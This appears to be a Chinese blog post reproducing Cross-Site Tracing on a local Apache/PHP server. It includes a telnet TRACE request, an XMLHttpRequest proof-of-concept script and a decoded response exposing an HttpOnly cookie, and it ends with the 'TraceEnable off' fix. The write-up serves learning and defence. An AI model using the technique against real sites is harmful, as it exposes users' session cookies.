返回

消逝的Trace

HTTP&Apache…

0x01

最近重新翻开道哥的《白帽子讲Web安全》,看到一些最初翻看的时候,感兴趣却没有深究的漏洞,遂决定深入了解下。

关于HttpOnly

用以防止cookie被js获取的标志位,以达到防范XSS盗取cookie的目的。

test.php

setcookie('name','idlefire',null,null,null,null,true);

访问之后,注意HTTP字段处。

控制台获取cookie

关于Trace

HTTP 1.1 定义的一个方法。主要是提供一个debug机制,用于是实现沿通向目标资源的路径的消息环回(loop-back)测试。简而言之就是测试连通性用的。

HTTP:
HTTP 0.9 只有GET
HTTP 1.0 有了GET、HEAD、POST
HTTP 1.1 有了GET、HEAD、POST、PUT、DELETE、TRACE、CONNECT

但是这个方法有个特点,就是请求后返回的是请求的header内容,这样获得HttpOnly保护的cookie了。

关于Trace的详情可以看RFC7231的描述或者HTTP Method详细解读(GET HEAD POST OPTIONS PUT DELETE TRACE CONNECT)其中的trace部分。

0x02

漏洞复现

首先使用telnet测试服务器是否支持TRACE请求。 text

    telnet 127.0.0.1 4399
    crtl + ]
    回车
    输入TRACE请求
    TRACE /test.php HTTP/1.1 
    Host: 127.0.0.1:4399)

接着使用XMLHttpRequest进行请求。

<script>
function  XSSTrace(){
var  xhr  =  new  XMLHttpRequest();
xhr.open("trace","http://localhost:4399/");
xhr.send();
var  xmlDoc  =  xhr.responseText;
alert(xmlDoc);
}
</script>
<input  type="button"  onclick="XSSTrace();"  value="send trace request">

打开浏览器点击按钮发现没有弹框,紧接着看网络请求,发现Chrome、Edge、Firefox都不再支持这个方法了,Chomre不支持,Edge和Firefox把Trace作为安全问题。

于是把xhr的请求方法修改为get,在网络请求中进行修改回放。

响应为base64编码结果(具体原因还没有找到)。 解码

TRACE / HTTP/1.1
Host: localhost:4399
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:4399/trace.html
Cookie: XDEBUG_SESSION=PHPSTORM; name=idlefire
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

其中就包含了HttpOnly的name。

0x03 One’s Storm

关于只返回header的验证

修改header添加请求体。测试之后发现TRACE不允许携带请求体。

关于TRACK

这个方法并没有找到。

关于防御

  • 在apache配置文件最后添加TraceEnable off

(ง •_•)ง 2018-08-16 00:52:03 星期四

Licensed under CC BY-NC-SA 4.0